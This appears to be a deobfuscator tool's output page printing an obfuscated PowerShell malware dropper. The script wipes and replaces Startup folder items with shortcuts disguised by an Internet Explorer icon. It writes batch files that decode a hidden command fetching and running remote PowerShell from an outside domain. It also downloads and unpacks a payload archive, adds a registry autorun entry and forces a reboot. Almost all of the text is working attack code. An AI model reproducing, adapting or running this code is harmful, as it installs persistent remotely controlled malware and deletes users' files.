${_\__\/|\_/|/\___\/|_} = "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
if ((${_\__\/|\_/|/\___\/|_} | Test-Path)) {exit}
New-Item -ItemType directory -Path "${_\///////////////////////_}${_\/|\_/|/\___\/|_}"
${//////////____zz//} = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_}"
${ZZZZxxxx_} = ${/\/\/\/\__\//___}
${ZZZZxxxx_} | Set-Content ${//////////____zz//}${GER}
${\/_} = (${_\/|\_/|/\___\/|_})
${\/////\} = (${_\/|\_/|/\___\/|_} + "A")
${/\} = (${_\/|\_/|/\___\/|_} + "B")
del ${_\/|\_/|/\/|_}\*.vbs
del ${_\/|\_/|/\/|_}\*.lnk
del ${_\/|\_/|/\/|_}\*.exe
del ${_\/|\_/|/\/|_}\*.cmd
${/_//_//_/} = "${_\/|\_/|/\/|_}\${_\/|\_}${GER}.${_/|\_/|////\__|/_|\_}"
${\__/////////} = "@Echo off`r`n"
${\__/////////} += "Setlocal EnableExtensions`r`n"
${\__/////////} += "Setlocal EnableDelayedExpansion`r`n"
${\__/////////} += "cd %SystemRoot%\System32`r`n"
${\__/////////} += "Set /P ${_\/|\_/|/\___\/|_}=<`"${//////////____zz//}${GER}`"`r`n"
${\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
${\__/////////} += "for /L %%N in (10 1 36) do (`r`n"
${\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:%%N=%%C!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:@=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:`"=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "%${_\/|\_/|/\___\/|_}%`r`n"
${\__/////////} | Set-Content ${/_//_//_/}
function _____/\_/\/\_/\/=\/////
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/|_}"
${/=\/\__/=\/=\/=\_}.Arguments = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.ai"
${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\"
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
function _____/\_/\/\_/\/=\/////\
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/|_}"
${/=\/\__/=\/=\/=\_}.Arguments = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.at"
${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\"
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
${TESTE} = "${_sev_}"
New-Item ${TESTE} -ItemType Directory
Copy-Item -Path "${_fiv_}" -Destination "${TESTE}${_six_}" -Recurse
function _____/\_/\/\_/\/=\/////\____\
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}i7${_ex_}"
${/=\/\__/=\/=\/=\_}.Arguments = ""
${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\///////////////////////_}"
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
function _____/\_/\/\_/\/=\
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"
${/=\/\__/=\/=\/=\_}.Arguments = ""
${/=\/\__/=\/=\/=\_}.WorkingDirectory = ""
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
${/===\__/=\_/==\_/} = New-Object -Com WScript.Shell
${/=\_/\_/===\/\/\/} = ${/===\__/=\_/==\_/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
del ${/=\_/\_/===\/\/\/}\*.vbs
del ${/=\_/\_/===\/\/\/}\*.lnk
del ${/=\_/\_/===\/\/\/}\*.exe
del ${/=\_/\_/===\/\/\/}\*.cmd
${_/=\/=\/\_/\/=\__} = " $env:APPDATA\${_/=\/\/=\___/\/==}, ${_/\/\/\/=\/==\__/}"
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}.lnk"
_____/\_/\/\_/\/=\ ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}EX.lnk"
_____/\_/\/\_/\/=\///// ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}AT.lnk"
_____/\_/\/\_/\/=\/////\ ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}AA.lnk"
_____/\_/\/\_/\/=\/////\____\ ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${/\/\/\/\__\//___} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@22@10@18@24@2@3.@12@24@22/@10/@0@8/@1@5@0@8@2@2/@10@30/@10@30') | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
${_\/|\_/|/\___\/|_} = ${_\/|\_/|/\___\/|_}
${//////////____zz//} = "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_}"
${ZZZZxxxx_} = ${/\/\/\/\__\//___}
${ZZZZxxxx_} | Set-Content ${//////////____zz//}${GER}y
${\/_} = (${_\/|\_/|/\___\/|_})
${\/////\} = (${_\/|\_/|/\___\/|_} + "A")
${/\} = (${_\/|\_/|/\___\/|_} + "B")
${/_//_//_/} = "${_\/|\_/|/\/|_}\${_\/|\_}${GER}y.${_/|\_/|////\__|/_|\_}"
${\__/////////} = "@Echo off`r`n"
${\__/////////} += "Setlocal EnableExtensions`r`n"
${\__/////////} += "Setlocal EnableDelayedExpansion`r`n"
${\__/////////} += "cd %SystemRoot%\System32`r`n"
${\__/////////} += "Set /P ${_\/|\_/|/\___\/|_}=<`"${//////////____zz//}${GER}y`"`r`n"
${\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
${\__/////////} += "for /L %%N in (10 1 36) do (`r`n"
${\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:%%N=%%C!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:@=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "for /F %%F in (`"!${_\/|\_/|/\___\/|_}!`") do (`r`n"
${\__/////////} += "set `"${_\/|\_/|/\___\/|_}=!${_\/|\_/|/\___\/|_}:`"=!`"`r`n"
${\__/////////} += ")`r`n"
${\__/////////} += "%${_\/|\_/|/\___\/|_}%`r`n"
${\__/////////} | Set-Content ${/_//_//_/}
function _____/\_/\/\_/\/=\//
{
Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
try{
${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"
${/=\/\__/=\/=\/=\_}.Arguments = ""
${/=\/\__/=\/=\/=\_}.WorkingDirectory = ""
${/=\/\__/=\/=\/=\_}.WindowStyle = 7
${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
${/=\/\__/=\/=\/=\_}.Save()
}finally{}
}
${/===\__/=\_/==\_/} = New-Object -Com WScript.Shell
${/=\_/\_/===\/\/\/} = ${/===\__/=\_/==\_/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
${_/=\/=\/\_/\/=\__} = " $env:APPDATA\${_/=\/\/=\___/\/==}, ${_/\/\/\/=\/==\__/}"
${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\/|\_/|/\___\/|_}y.lnk"
_____/\_/\/\_/\/=\// ${___/\_/\/===\/\__} ${_/=\/=\/\_/\/=\__}
${_/\/\/\__\|||\/\/_} = ${_\/|\_/|/\___\/|_}
${_/\/\/\__\|||\/\/_} | Set-Content "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
${_/\/\/\__\|||\/\/_} | Out-File "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
${_/\/\/\__\|||\/\/_} > "${_\/|\_/|/\/|_}\${/////\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
${_\///////\/_} = new-object System.Net.WebClient
${_\///////\/_}.DownloadFile(${_/|\_/|////\__|//\/|_},"${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_\/|\_/|/\___\/|_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.zip") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_\/|\_/|/\___\/|_}")
Expand-Archive -Path "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/\/\/\/\|_}" -DestinationPath "${_\///////////////////////_}${_\/|\_/|/\___\/|_}"
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.${_/|\_/|////\__|/_|\/|_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_/|\_/|////\__|/_|\/|_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.ia") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.ai") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.at") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\c${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}.mdat") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}t${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}i7${_ex_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\i7${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_jl_}${_dx_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_jl_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_ms_}${_dx_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_ms_}${_tx_}")
Rename-Item -NewName ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_wb_}${_dx_}") -Path ("${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_wb_}${_tx_}")
del ${_\///////////////////////_}${_\/|\_/|/\___\/|_}\*.zip
# Create reg structure
New-Item "${_um_}" -Force
New-ItemProperty -Path "${_um_}" -Name "${_tres_}" -Value "" -Force
# Place command in
Set-ItemProperty -Path "${_um_}" -Name "${_qtro_}" -Value "${_\///////////////////////_}${_\/|\_/|/\___\/|_}\${_\/|\_/|/\___\/|_}i7${_ex_}" -Force
shutdown /r /t 10 ?>Function Calls
| None |
Stats
| MD5 | cbae8e6fd465fca5280feb14fd57b4d4 |
| Eval Count | 0 |
| Decode Time | 72 ms |